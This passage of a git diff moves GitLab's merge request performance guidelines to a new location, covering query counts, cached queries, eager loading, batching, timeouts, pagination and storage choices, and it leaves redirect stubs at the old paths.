+thus they also belong to the same project (`pipeline.project`):
+
+```ruby
+pipeline_project = pipeline.project
+# Project Load (0.6ms) SELECT "projects".* FROM "projects" WHERE "projects"."id" = $1 LIMIT $2
+build = pipeline.builds.first
+
+build.project == pipeline_project
+# CACHE Project Load (0.0ms) SELECT "projects".* FROM "projects" WHERE "projects"."id" = $1 LIMIT $2
+# => true
+```
+
+When we call `build.project`, it doesn't hit the database, it uses the cached result, but it re-instantiates
+the same pipeline project object. It turns out that associated objects do not point to the same in-memory object.
+
+If we try to serialize each build:
+
+```ruby
+pipeline.builds.each do |build|
+ build.to_json(only: [:name], include: [project: { only: [:name]}])
+end
+```
+
+It re-instantiates project object for each build, instead of using the same in-memory object.
+
+In this particular case the workaround is fairly easy:
+
+```ruby
+ActiveRecord::Associations::Preloader.new.preload(pipeline, [builds: :project])
+
+pipeline.builds.each do |build|
+ build.to_json(only: [:name], include: [project: { only: [:name]}])
+end
+```
+
+`ActiveRecord::Associations::Preloader` uses the same in-memory object for the same project.
+This avoids the cached SQL query and also avoids re-instantiation of the project object for each build.
+
+## Executing Queries in Loops
+
+**Summary:** SQL queries **must not** be executed in a loop unless absolutely
+necessary.
+
+Executing SQL queries in a loop can result in many queries being executed
+depending on the number of iterations in a loop. This may work fine for a
+development environment with little data, but in a production environment this
+can quickly spiral out of control.
+
+There are some cases where this may be needed. If this is the case this should
+be clearly mentioned in the merge request description.
+
+## Batch process
+
+**Summary:** Iterating a single process to external services (for example, PostgreSQL, Redis, Object Storage)
+should be executed in a **batch-style** to reduce connection overheads.
+
+For fetching rows from various tables in a batch-style, please see [Eager Loading](#eager-loading) section.
+
+### Example: Delete multiple files from Object Storage
+
+When you delete multiple files from object storage, like GCS,
+executing a single REST API call multiple times is a quite expensive
+process. Ideally, this should be done in a batch-style, for example, S3 provides
+[batch deletion API](https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteObjects.html),
+so it'd be a good idea to consider such an approach.
+
+The `FastDestroyAll` module might help this situation. It's a
+small framework when you remove a bunch of database rows and its associated data
+in a batch style.
+
+## Timeout
+
+**Summary:** You should set a reasonable timeout when the system invokes HTTP calls
+to external services (such as Kubernetes), and it should be executed in Sidekiq, not
+in Puma threads.
+
+Often, GitLab needs to communicate with an external service such as Kubernetes
+clusters. In this case, it's hard to estimate when the external service finishes
+the requested process, for example, if it's a user-owned cluster that's inactive for some reason,
+GitLab might wait for the response forever ([Example](https://gitlab.com/gitlab-org/gitlab/-/issues/31475)).
+This could result in Puma timeout and should be avoided at all cost.
+
+You should set a reasonable timeout, gracefully handle exceptions and surface the
+errors in UI or logging internally.
+
+Using [`ReactiveCaching`../utilities.md#reactivecaching) is one of the best solutions to fetch external data.
+
+## Keep database transaction minimal
+
+**Summary:** You should avoid accessing to external services like Gitaly during database
+transactions, otherwise it leads to severe contention problems
+as an open transaction basically blocks the release of a PostgreSQL backend connection.
+
+For keeping transaction as minimal as possible, please consider using `AfterCommitQueue`
+module or `after_commit` AR hook.
+
+Here is [an example](https://gitlab.com/gitlab-org/gitlab/-/issues/36154#note_247228859)
+that one request to Gitaly instance during transaction triggered a ~"priority::1" issue.
+
+## Eager Loading
+
+**Summary:** always eager load associations when retrieving more than one row.
+
+When retrieving multiple database records for which you need to use any
+associations you **must** eager load these associations. For example, if you're
+retrieving a list of blog posts and you want to display their authors you
+**must** eager load the author associations.
+
+In other words, instead of this:
+
+```ruby
+Post.all.each do |post|
+ puts post.author.name
+end
+```
+
+You should use this:
+
+```ruby
+Post.all.includes(:author).each do |post|
+ puts post.author.name
+end
+```
+
+Also consider using [QueryRecoder tests](../database/query_recorder.md) to prevent a regression when eager loading.
+
+## Memory Usage
+
+**Summary:** merge requests **must not** increase memory usage unless absolutely
+necessary.
+
+A merge request must not increase the memory usage of GitLab by more than the
+absolute bare minimum required by the code. This means that if you have to parse
+some large document (for example, an HTML document) it's best to parse it as a stream
+whenever possible, instead of loading the entire input into memory. Sometimes
+this isn't possible, in that case this should be stated explicitly in the merge
+request.
+
+## Lazy Rendering of UI Elements
+
+**Summary:** only render UI elements when they are actually needed.
+
+Certain UI elements may not always be needed. For example, when hovering over a
+diff line there's a small icon displayed that can be used to create a new
+comment. Instead of always rendering these kind of elements they should only be
+rendered when actually needed. This ensures we don't spend time generating
+Haml/HTML when it's not used.
+
+## Use of Caching
+
+**Summary:** cache data in memory or in Redis when it's needed multiple times in
+a transaction or has to be kept around for a certain time period.
+
+Sometimes certain bits of data have to be re-used in different places during a
+transaction. In these cases this data should be cached in memory to remove the
+need for running complex operations to fetch the data. You should use Redis if
+data should be cached for a certain time period instead of the duration of the
+transaction.
+
+For example, say you process multiple snippets of text containing username
+mentions (for example, `Hello @alice` and `How are you doing @alice?`). By caching the
+user objects for every username we can remove the need for running the same
+query for every mention of `@alice`.
+
+Caching data per transaction can be done using
+[RequestStore](https://github.com/steveklabnik/request_store) (use
+`Gitlab::SafeRequestStore` to avoid having to remember to check
+`RequestStore.active?`). Caching data in Redis can be done using
+[Rails' caching system](https://guides.rubyonrails.org/caching_with_rails.html).
+
+## Pagination
+
+Each feature that renders a list of items as a table needs to include pagination.
+
+The main styles of pagination are:
+
+1. Offset-based pagination: user goes to a specific page, like 1. User sees the next page number,
+ and the total number of pages. This style is well supported by all components of GitLab.
+1. Offset-based pagination, but without the count: user goes to a specific page, like 1.
+ User sees only the next page number, but does not see the total amount of pages.
+1. Next page using keyset-based pagination: user can only go to next page, as we don't know how many pages
+ are available.
+1. Infinite scrolling pagination: user scrolls the page and next items are loaded asynchronously. This is ideal,
+ as it has exact same benefits as the previous one.
+
+The ultimately scalable solution for pagination is to use Keyset-based pagination.
+However, we don't have support for that at GitLab at that moment. You
+can follow the progress looking at [API: Keyset Pagination](https://gitlab.com/groups/gitlab-org/-/epics/2039).
+
+Take into consideration the following when choosing a pagination strategy:
+
+1. It's very inefficient to calculate amount of objects that pass the filtering,
+ this operation usually can take seconds, and can time out,
+1. It's very inefficient to get entries for page at higher ordinals, like 1000.
+ The database has to sort and iterate all previous items, and this operation usually
+ can result in substantial load put on database.
+
+You can find useful tips related to pagination in the [pagination guidelines../database/pagination_guidelines.md).
+
+## Badge counters
+
+Counters should always be truncated. It means that we don't want to present
+the exact number over some threshold. The reason for that is for the cases where we want
+to calculate exact number of items, we effectively need to filter each of them for
+the purpose of knowing the exact number of items matching.
+
+From ~UX perspective it's often acceptable to see that you have over 1000+ pipelines,
+instead of that you have 40000+ pipelines, but at a tradeoff of loading page for 2s longer.
+
+An example of this pattern is the list of pipelines and jobs. We truncate numbers to `1000+`,
+but we show an accurate number of running pipelines, which is the most interesting information.
+
+There's a helper method that can be used for that purpose - `NumbersHelper.limited_counter_with_delimiter` -
+that accepts an upper limit of counting rows.
+
+In some cases it's desired that badge counters are loaded asynchronously.
+This can speed up the initial page load and give a better user experience overall.
+
+## Usage of feature flags
+
+Each feature that has performance critical elements or has a known performance deficiency
+needs to come with feature flag to disable it.
+
+The feature flag makes our team more happy, because they can monitor the system and
+quickly react without our users noticing the problem.
+
+Performance deficiencies should be addressed right away after we merge initial
+changes.
+
+Read more about when and how feature flags should be used in
+[Feature flags in GitLab development](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#feature-flags-in-gitlab-development).
+
+## Storage
+
+We can consider the following types of storages:
+
+- **Local temporary storage** (very-very short-term storage) This type of storage is system-provided storage, like a `/tmp` folder.
+ This is the type of storage that you should ideally use for all your temporary tasks.
+ The fact that each node has its own temporary storage makes scaling significantly easier.
+ This storage is also very often SSD-based, thus is significantly faster.
+ The local storage can easily be configured for the application with
+ the usage of `TMPDIR` variable.
+
+- **Shared temporary storage** (short-term storage) This type of storage is network-based temporary storage,
+ usually run with a common NFS server. As of Feb 2020, we still use this type of storage
+ for most of our implementations. Even though this allows the above limit to be significantly larger,
+ it does not really mean that you can use more. The shared temporary storage is shared by
+ all nodes. Thus, the job that uses significant amount of that space or performs a lot
+ of operations creates a contention on execution of all other jobs and request
+ across the whole application, this can easily impact stability of the whole GitLab.
+ Be respectful of that.
+
+- **Shared persistent storage** (long-term storage) This type of storage uses
+ shared network-based storage (for example, NFS). This solution is mostly used by customers running small
+ installations consisting of a few nodes. The files on shared storage are easily accessible,
+ but any job that is uploading or downloading data can create a serious contention to all other jobs.
+ This is also an approach by default used by Omnibus.
+
+- **Object-based persistent storage** (long term storage) this type of storage uses external
+ services like [AWS S3](https://en.wikipedia.org/wiki/Amazon_S3). The Object Storage
+ can be treated as infinitely scalable and redundant. Accessing this storage usually requires
+ downloading the file to manipulate it. The Object Storage can be considered as an ultimate
+ solution, as by definition it can be assumed that it can handle unlimited concurrent uploads
+ and downloads of files. This is also ultimate solution required to ensure that application can
+ run in containerized deployments (Kubernetes) at ease.
+
+### Temporary storage
+
+The storage on production nodes is really sparse. The application should be built
+in a way that accommodates running under very limited temporary storage.
+You can expect the system on which your code runs has a total of `1G-10G`
+of temporary storage. However, this storage is really shared across all
+jobs being run. If your job requires to use more than `100MB` of that space
+you should reconsider the approach you have taken.
+
+Whatever your needs are, you should clearly document if you need to process files.
+If you require more than `100MB`, consider asking for help from a maintainer
+to work with you to possibly discover a better solution.
+
+#### Local temporary storage
+
+The usage of local storage is a desired solution to use,
+especially since we work on deploying applications to Kubernetes clusters.
+When you would like to use `Dir.mktmpdir`? In a case when you want for example
+to extract/create archives, perform extensive manipulation of existing data, and so on.
+
+```ruby
+Dir.mktmpdir('designs') do |path|
+ # do manipulation on path
+ # the path will be removed once
+ # we go out of the block
+end
+```
+
+#### Shared temporary storage
+
+The usage of shared temporary storage is required if your intent
+is to persistent file for a disk-based storage, and not Object Storage.
+[Workhorse direct upload](../uploads/index.md#direct-upload) when accepting file
+can write it to shared storage, and later GitLab Rails can perform a move operation.
+The move operation on the same destination is instantaneous.
+The system instead of performing `copy` operation just re-attaches file into a new place.
+
+Since this introduces extra complexity into application, you should only try
+to re-use well established patterns (for example, `ObjectStorage` concern) instead of re-implementing it.
+
+The usage of shared temporary storage is otherwise deprecated for all other usages.
+
+### Persistent storage
+
+#### Object Storage
+
+It is required that all features holding persistent files support saving data
+to Object Storage. Having a persistent storage in the form of shared volume across nodes
+is not scalable, as it creates a contention on data access all nodes.
+
+GitLab offers the [ObjectStorage concern](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/uploaders/object_storage.rb)
+that implements a seamless support for Shared and Object Storage-based persistent storage.
+
+#### Data access
+
+Each feature that accepts data uploads or allows to download them needs to use
+[Workhorse direct upload](../uploads/index.md#direct-upload). It means that uploads needs to be
+saved directly to Object Storage by Workhorse, and all downloads needs to be served
+by Workhorse.
+
+Performing uploads/downloads via Puma is an expensive operation,
+as it blocks the whole processing slot (thread) for the duration of the upload.
+
+Performing uploads/downloads via Puma also has a problem where the operation
+can time out, which is especially problematic for slow clients. If clients take a long time
+to upload/download the processing slot might be killed due to request processing
+timeout (usually between 30s-60s).
+
+For the above reasons it is required that [Workhorse direct upload../uploads/index.md#direct-upload) is implemented
+for all file uploads and downloads.
diff --git a/doc/development/merge_request_diffs.md b/doc/development/merge_request_diffs.md
new file mode 100644
index 00000000000..9ec7e6cae8b
--- /dev/null
+++ b/doc/development/merge_request_diffs.md
@@ -0,0 +1,11 @@
+---
+redirect_to: 'merge_request_concepts/diffs/development.md'
+remove_date: '2023-04-10'
+---
+
+This document was moved to [another location](merge_request_concepts/diffs/development.md).
+
+<!-- This redirect file can be deleted after <2023-04-10>. -->
+<!-- Redirects that point to other docs in the same project expire in three months. -->
+<!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html -->
diff --git a/doc/development/merge_request_performance_guidelines.md b/doc/development/merge_request_performance_guidelines.md
index fd78d02202f..1af81a8af9f 100644
--- a/doc/development/merge_request_performance_guidelines.md
+++ b/doc/development/merge_request_performance_guidelines.md
@@ -1,565 +1,11 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+redirect_to: 'merge_request_concepts/performance.md'
+remove_date: '2023-04-10'
---
-# Merge Request Performance Guidelines
+This document was moved to [another location](merge_request_concepts/performance.md).
-Each new introduced merge request **should be performant by default**.
-
-To ensure a merge request does not negatively impact performance of GitLab
-_every_ merge request **should** adhere to the guidelines outlined in this
-document. There are no exceptions to this rule unless specifically discussed
-with and agreed upon by backend maintainers and performance specialists.
-
-It's also highly recommended that you read the following guides:
-
-- [Performance Guidelines](performance.md)
-- [Avoiding downtime in migrations](database/avoiding_downtime_in_migrations.md)
-
-## Definition
-
-The term `SHOULD` per the [RFC 2119](https://www.ietf.org/rfc/rfc2119.txt) means:
-
-> This word, or the adjective "RECOMMENDED", mean that there
-> may exist valid reasons in particular circumstances to ignore a
-> particular item, but the full implications must be understood and
-> carefully weighed before choosing a different course.
-
-Ideally, each of these tradeoffs should be documented
-in the separate issues, labeled accordingly and linked
-to original issue and epic.
-
-## Impact Analysis
-
-**Summary:** think about the impact your merge request may have on performance
-and those maintaining a GitLab setup.
-
-Any change submitted can have an impact not only on the application itself but
-also those maintaining it and those keeping it up and running (for example, production
-engineers). As a result you should think carefully about the impact of your
-merge request on not only the application but also on the people keeping it up
-and running.
-
-Can the queries used potentially take down any critical services and result in
-engineers being woken up in the night? Can a malicious user abuse the code to
-take down a GitLab instance? Do my changes make loading a certain page
-slower? Does execution time grow exponentially given enough load or data in the
-database?
-
-These are all questions one should ask themselves before submitting a merge
-request. It may sometimes be difficult to assess the impact, in which case you
-should ask a performance specialist to review your code. See the "Reviewing"
-section below for more information.
-
-## Performance Review
-
-**Summary:** ask performance specialists to review your code if you're not sure
-about the impact.
-
-Sometimes it's hard to assess the impact of a merge request. In this case you
-should ask one of the merge request reviewers to review your changes. You can
-find a list of these reviewers at <https://about.gitlab.com/company/team/>. A reviewer
-in turn can request a performance specialist to review the changes.
-
-## Think outside of the box
-
-Everyone has their own perception of how to use the new feature.
-Always consider how users might be using the feature instead. Usually,
-users test our features in a very unconventional way,
-like by brute forcing or abusing edge conditions that we have.
-
-## Data set
-
-The data set the merge request processes should be known
-and documented. The feature should clearly document what the expected
-data set is for this feature to process, and what problems it might cause.
-
-If you would think about the following example that puts
-a strong emphasis of data set being processed.
-The problem is simple: you want to filter a list of files from
-some Git repository. Your feature requests a list of all files
-from the repository and perform search for the set of files.
-As an author you should in context of that problem consider
-the following:
-
-1. What repositories are planned to be supported?
-1. How long it do big repositories like Linux kernel take?
-1. Is there something that we can do differently to not process such a
- big data set?
-1. Should we build some fail-safe mechanism to contain
- computational complexity? Usually it's better to degrade
- the service for a single user instead of all users.
-
-## Query plans and database structure
-
-The query plan can tell us if we need additional
-indexes, or expensive filtering (such as using sequential scans).
-
-Each query plan should be run against substantial size of data set.
-For example, if you look for issues with specific conditions,
-you should consider validating a query against
-a small number (a few hundred) and a big number (100_000) of issues.
-See how the query behaves if the result is a few
-and a few thousand.
-
-This is needed as we have users using GitLab for very big projects and
-in a very unconventional way. Even if it seems that it's unlikely
-that such a big data set is used, it's still plausible that one
-of our customers could encounter a problem with the feature.
-
-Understanding ahead of time how it behaves at scale, even if we accept it,
-is the desired outcome. We should always have a plan or understanding of what is needed
-to optimize the feature for higher usage patterns.
-
-Every database structure should be optimized and sometimes even over-described
-in preparation for easy extension. The hardest part after some point is
-data migration. Migrating millions of rows is always troublesome and
-can have a negative impact on the application.
-
-To better understand how to get help with the query plan reviews
-read this section on [how to prepare the merge request for a database review](database_review.md#how-to-prepare-the-merge-request-for-a-database-review).
-
-## Query Counts
-
-**Summary:** a merge request **should not** increase the total number of executed SQL
-queries unless absolutely necessary.
-
-The total number of queries executed by the code modified or added by a merge request
-must not increase unless absolutely necessary. When building features it's
-entirely possible you need some extra queries, but you should try to keep
-this at a minimum.
-
-As an example, say you introduce a feature that updates a number of database
-rows with the same value. It may be very tempting (and easy) to write this using
-the following pseudo code:
-
-```ruby
-objects_to_update.each do |object|
- object.some_field = some_value
- object.save
-end
-```
-
-This means running one query for every object to update. This code can
-easily overload a database given enough rows to update or many instances of this
-code running in parallel. This particular problem is known as the
-["N+1 query problem"](https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations). You can write a test with [QueryRecorder](database/query_recorder.md) to detect this and prevent regressions.
-
-In this particular case the workaround is fairly easy:
-
-```ruby
-objects_to_update.update_all(some_field: some_value)
-```
-
-This uses ActiveRecord's `update_all` method to update all rows in a single
-query. This in turn makes it much harder for this code to overload a database.
-
-## Use read replicas when possible
-
-In a DB cluster we have many read replicas and one primary. A classic use of scaling the DB is to have read-only actions be performed by the replicas. We use [load balancing](../administration/postgresql/database_load_balancing.md) to distribute this load. This allows for the replicas to grow as the pressure on the DB grows.
-
-By default, queries use read-only replicas, but due to
-[primary sticking](../administration/postgresql/database_load_balancing.md#primary-sticking), GitLab uses the
-primary for some time and reverts to secondaries after they have either caught up or after 30 seconds.
-Doing this can lead to a considerable amount of unnecessary load on the primary.
-To prevent switching to the primary [merge request 56849](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56849) introduced the
-`without_sticky_writes` block. Typically, this method can be applied to prevent primary stickiness
-after a trivial or insignificant write which doesn't affect the following queries in the same session.
-
-To learn when a usage timestamp update can lead the session to stick to the primary and how to
-prevent it by using `without_sticky_writes`, see [merge request 57328](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57328)
-
-As a counterpart of the `without_sticky_writes` utility,
-[merge request 59167](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59167) introduced
-`use_replicas_for_read_queries`. This method forces all read-only queries inside its block to read
-replicas regardless of the current primary stickiness.
-This utility is reserved for cases where queries can tolerate replication lag.
-
-Internally, our database load balancer classifies the queries based on their main statement (`select`, `update`, `delete`, and so on). When in doubt, it redirects the queries to the primary database. Hence, there are some common cases the load balancer sends the queries to the primary unnecessarily:
-
-- Custom queries (via `exec_query`, `execute_statement`, `execute`, and so on)
-- Read-only transactions
-- In-flight connection configuration set
-- Sidekiq background jobs
-
-After the above queries are executed, GitLab
-[sticks to the primary](../administration/postgresql/database_load_balancing.md#primary-sticking).
-To make the inside queries prefer using the replicas,
-[merge request 59086](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59086) introduced
-`fallback_to_replicas_for_ambiguous_queries`. This MR is also an example of how we redirected a
-costly, time-consuming query to the replicas.
-
-## Use CTEs wisely
-
-Read about [complex queries on the relation object](database/iterating_tables_in_batches.md#complex-queries-on-the-relation-object) for considerations on how to use CTEs. We have found in some situations that CTEs can become problematic in use (similar to the n+1 problem above). In particular, hierarchical recursive CTE queries such as the CTE in [AuthorizedProjectsWorker](https://gitlab.com/gitlab-org/gitlab/-/issues/325688) are very difficult to optimize and don't scale. We should avoid them when implementing new features that require any kind of hierarchical structure.
-
-CTEs have been effectively used as an optimization fence in many simpler cases,
-such as this [example](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/43242#note_61416277).
-Beginning in PostgreSQL 12, CTEs are inlined then [optimized by default](https://paquier.xyz/postgresql-2/postgres-12-with-materialize/).
-Keeping the old behavior requires marking CTEs with the keyword `MATERIALIZED`.
-
-When building CTE statements, use the `Gitlab::SQL::CTE` class [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56976) in GitLab 13.11.
-By default, this `Gitlab::SQL::CTE` class forces materialization through adding the `MATERIALIZED` keyword for PostgreSQL 12 and higher.
-`Gitlab::SQL::CTE` automatically omits materialization when PostgreSQL 11 is running
-(this behavior is implemented using a custom Arel node `Gitlab::Database::AsWithMaterialized` under the surface).
-
-WARNING:
-Upgrading to GitLab 14.0 requires PostgreSQL 12 or higher.
-
-## Cached Queries
-
-**Summary:** a merge request **should not** execute duplicated cached queries.
-
-Rails provides an [SQL Query Cache](cached_queries.md#cached-queries-guidelines),
-used to cache the results of database queries for the duration of the request.
-
-See [why cached queries are considered bad](cached_queries.md#why-cached-queries-are-considered-bad) and
-[how to detect them](cached_queries.md#how-to-detect-cached-queries).
-
-The code introduced by a merge request, should not execute multiple duplicated cached queries.
-
-The total number of the queries (including cached ones) executed by the code modified or added by a merge request
-should not increase unless absolutely necessary.
-The number of executed queries (including cached queries) should not depend on
-collection size.
-You can write a test by passing the `skip_cached` variable to [QueryRecorder](database/query_recorder.md) to detect this and prevent regressions.
-
-As an example, say you have a CI pipeline. All pipeline builds belong to the same pipeline,
-thus they also belong to the same project (`pipeline.project`):
-
-```ruby
-pipeline_project = pipeline.project
-# Project Load (0.6ms) SELECT "projects".* FROM "projects" WHERE "projects"."id" = $1 LIMIT $2
-build = pipeline.builds.first
-
-build.project == pipeline_project
-# CACHE Project Load (0.0ms) SELECT "projects".* FROM "projects" WHERE "projects"."id" = $1 LIMIT $2
-# => true
-```
-
-When we call `build.project`, it doesn't hit the database, it uses the cached result, but it re-instantiates
-the same pipeline project object. It turns out that associated objects do not point to the same in-memory object.
-
-If we try to serialize each build:
-
-```ruby
-pipeline.builds.each do |build|
- build.to_json(only: [:name], include: [project: { only: [:name]}])
-end
-```
-
-It re-instantiates project object for each build, instead of using the same in-memory object.
-
-In this particular case the workaround is fairly easy:
-
-```ruby
-ActiveRecord::Associations::Preloader.new.preload(pipeline, [builds: :project])
-
-pipeline.builds.each do |build|
- build.to_json(only: [:name], include: [project: { only: [:name]}])
-end
-```
-
-`ActiveRecord::Associations::Preloader` uses the same in-memory object for the same project.
-This avoids the cached SQL query and also avoids re-instantiation of the project object for each build.
-
-## Executing Queries in Loops
-
-**Summary:** SQL queries **must not** be executed in a loop unless absolutely
-necessary.
-
-Executing SQL queries in a loop can result in many queries being executed
-depending on the number of iterations in a loop. This may work fine for a
-development environment with little data, but in a production environment this
-can quickly spiral out of control.
-
-There are some cases where this may be needed. If this is the case this should
-be clearly mentioned in the merge request description.
-
-## Batch process
-
-**Summary:** Iterating a single process to external services (for example, PostgreSQL, Redis, Object Storage)
-should be executed in a **batch-style** to reduce connection overheads.
-
-For fetching rows from various tables in a batch-style, please see [Eager Loading](#eager-loading) section.
-
-### Example: Delete multiple files from Object Storage
-
-When you delete multiple files from object storage, like GCS,
-executing a single REST API call multiple times is a quite expensive
-process. Ideally, this should be done in a batch-style, for example, S3 provides
-[batch deletion API](https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteObjects.html),
-so it'd be a good idea to consider such an approach.
-
-The `FastDestroyAll` module might help this situation. It's a
-small framework when you remove a bunch of database rows and its associated data
-in a batch style.
-
-## Timeout
-
-**Summary:** You should set a reasonable timeout when the system invokes HTTP calls
-to external services (such as Kubernetes), and it should be executed in Sidekiq, not
-in Puma threads.
-
-Often, GitLab needs to communicate with an external service such as Kubernetes
-clusters. In this case, it's hard to estimate when the external service finishes
-the requested process, for example, if it's a user-owned cluster that's inactive for some reason,
-GitLab might wait for the response forever ([Example](https://gitlab.com/gitlab-org/gitlab/-/issues/31475)).
-This could result in Puma timeout and should be avoided at all cost.
-
-You should set a reasonable timeout, gracefully handle exceptions and surface the
-errors in UI or logging internally.
-
-Using [`ReactiveCaching`](utilities.md#reactivecaching) is one of the best solutions to fetch external data.
-
-## Keep database transaction minimal
-
-**Summary:** You should avoid accessing to external services like Gitaly during database
-transactions, otherwise it leads to severe contention problems
-as an open transaction basically blocks the release of a PostgreSQL backend connection.
-
-For keeping transaction as minimal as possible, please consider using `AfterCommitQueue`
-module or `after_commit` AR hook.
-
-Here is [an example](https://gitlab.com/gitlab-org/gitlab/-/issues/36154#note_247228859)
-that one request to Gitaly instance during transaction triggered a ~"priority::1" issue.
-
-## Eager Loading
-
-**Summary:** always eager load associations when retrieving more than one row.
-
-When retrieving multiple database records for which you need to use any
-associations you **must** eager load these associations. For example, if you're
-retrieving a list of blog posts and you want to display their authors you
-**must** eager load the author associations.
-
-In other words, instead of this:
-
-```ruby
-Post.all.each do |post|
- puts post.author.name
-end
-```
-
-You should use this:
-
-```ruby
-Post.all.includes(:author).each do |post|
- puts post.author.name
-end
-```
-
-Also consider using [QueryRecoder tests](database/query_recorder.md) to prevent a regression when eager loading.
-
-## Memory Usage
-
-**Summary:** merge requests **must not** increase memory usage unless absolutely
-necessary.
-
-A merge request must not increase the memory usage of GitLab by more than the
-absolute bare minimum required by the code. This means that if you have to parse
-some large document (for example, an HTML document) it's best to parse it as a stream
-whenever possible, instead of loading the entire input into memory. Sometimes
-this isn't possible, in that case this should be stated explicitly in the merge
-request.
-
-## Lazy Rendering of UI Elements
-
-**Summary:** only render UI elements when they are actually needed.
-
-Certain UI elements may not always be needed. For example, when hovering over a
-diff line there's a small icon displayed that can be used to create a new
-comment. Instead of always rendering these kind of elements they should only be
-rendered when actually needed. This ensures we don't spend time generating
-Haml/HTML when it's not used.
-
-## Use of Caching
-
-**Summary:** cache data in memory or in Redis when it's needed multiple times in
-a transaction or has to be kept around for a certain time period.
-
-Sometimes certain bits of data have to be re-used in different places during a
-transaction. In these cases this data should be cached in memory to remove the
-need for running complex operations to fetch the data. You should use Redis if
-data should be cached for a certain time period instead of the duration of the
-transaction.
-
-For example, say you process multiple snippets of text containing username
-mentions (for example, `Hello @alice` and `How are you doing @alice?`). By caching the
-user objects for every username we can remove the need for running the same
-query for every mention of `@alice`.
-
-Caching data per transaction can be done using
-[RequestStore](https://github.com/steveklabnik/request_store) (use
-`Gitlab::SafeRequestStore` to avoid having to remember to check
-`RequestStore.active?`). Caching data in Redis can be done using
-[Rails' caching system](https://guides.rubyonrails.org/caching_with_rails.html).
-
-## Pagination
-
-Each feature that renders a list of items as a table needs to include pagination.
-
-The main styles of pagination are:
-
-1. Offset-based pagination: user goes to a specific page, like 1. User sees the next page number,
- and the total number of pages. This style is well supported by all components of GitLab.
-1. Offset-based pagination, but without the count: user goes to a specific page, like 1.
- User sees only the next page number, but does not see the total amount of pages.
-1. Next page using keyset-based pagination: user can only go to next page, as we don't know how many pages
- are available.
-1. Infinite scrolling pagination: user scrolls the page and next items are loaded asynchronously. This is ideal,
- as it has exact same benefits as the previous one.
-
-The ultimately scalable solution for pagination is to use Keyset-based pagination.
-However, we don't have support for that at GitLab at that moment. You
-can follow the progress looking at [API: Keyset Pagination](https://gitlab.com/groups/gitlab-org/-/epics/2039).
-
-Take into consideration the following when choosing a pagination strategy:
-
-1. It's very inefficient to calculate amount of objects that pass the filtering,
- this operation usually can take seconds, and can time out,
-1. It's very inefficient to get entries for page at higher ordinals, like 1000.
- The database has to sort and iterate all previous items, and this operation usually
- can result in substantial load put on database.
-
-You can find useful tips related to pagination in the [pagination guidelines](database/pagination_guidelines.md).
-
-## Badge counters
-
-Counters should always be truncated. It means that we don't want to present
-the exact number over some threshold. The reason for that is for the cases where we want
-to calculate exact number of items, we effectively need to filter each of them for
-the purpose of knowing the exact number of items matching.
-
-From ~UX perspective it's often acceptable to see that you have over 1000+ pipelines,
-instead of that you have 40000+ pipelines, but at a tradeoff of loading page for 2s longer.
-
-An example of this pattern is the list of pipelines and jobs. We truncate numbers to `1000+`,
-but we show an accurate number of running pipelines, which is the most interesting information.
-
-There's a helper method that can be used for that purpose - `NumbersHelper.limited_counter_with_delimiter` -
-that accepts an upper limit of counting rows.
-
-In some cases it's desired that badge counters are loaded asynchronously.
-This can speed up the initial page load and give a better user experience overall.
-
-## Usage of feature flags
-
-Each feature that has performance critical elements or has a known performance deficiency
-needs to come with feature flag to disable it.
-
-The feature flag makes our team more happy, because they can monitor the system and
-quickly react without our users noticing the problem.
-
-Performance deficiencies should be addressed right away after we merge initial
-changes.
-
-Read more about when and how feature flags should be used in
-[Feature flags in GitLab development](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#feature-flags-in-gitlab-development).
-
-## Storage
-
-We can consider the following types of storages:
-
-- **Local temporary storage** (very-very short-term storage) This type of storage is system-provided storage, like a `/tmp` folder.
- This is the type of storage that you should ideally use for all your temporary tasks.
- The fact that each node has its own temporary storage makes scaling significantly easier.
- This storage is also very often SSD-based, thus is significantly faster.
- The local storage can easily be configured for the application with
- the usage of `TMPDIR` variable.
-
-- **Shared temporary storage** (short-term storage) This type of storage is network-based temporary storage,
- usually run with a common NFS server. As of Feb 2020, we still use this type of storage
- for most of our implementations. Even though this allows the above limit to be significantly larger,
- it does not really mean that you can use more. The shared temporary storage is shared by
- all nodes. Thus, the job that uses significant amount of that space or performs a lot
- of operations creates a contention on execution of all other jobs and request
- across the whole application, this can easily impact stability of the whole GitLab.
- Be respectful of that.
-
-- **Shared persistent storage** (long-term storage) This type of storage uses
- shared network-based storage (for example, NFS). This solution is mostly used by customers running small
- installations consisting of a few nodes. The files on shared storage are easily accessible,
- but any job that is uploading or downloading data can create a serious contention to all other jobs.
- This is also an approach by default used by Omnibus.
-
-- **Object-based persistent storage** (long term storage) this type of storage uses external
- services like [AWS S3](https://en.wikipedia.org/wiki/Amazon_S3). The Object Storage
- can be treated as infinitely scalable and redundant. Accessing this storage usually requires
- downloading the file to manipulate it. The Object Storage can be considered as an ultimate
- solution, as by definition it can be assumed that it can handle unlimited concurrent uploads
- and downloads of files. This is also ultimate solution required to ensure that application can
- run in containerized deployments (Kubernetes) at ease.
-
-### Temporary storage
-
-The storage on production nodes is really sparse. The application should be built
-in a way that accommodates running under very limited temporary storage.
-You can expect the system on which your code runs has a total of `1G-10G`
-of temporary storage. However, this storage is really shared across all
-jobs being run. If your job requires to use more than `100MB` of that space
-you should reconsider the approach you have taken.
-
-Whatever your needs are, you should clearly document if you need to process files.
-If you require more than `100MB`, consider asking for help from a maintainer
-to work with you to possibly discover a better solution.
-
-#### Local temporary storage
-
-The usage of local storage is a desired solution to use,
-especially since we work on deploying applications to Kubernetes clusters.
-When you would like to use `Dir.mktmpdir`? In a case when you want for example
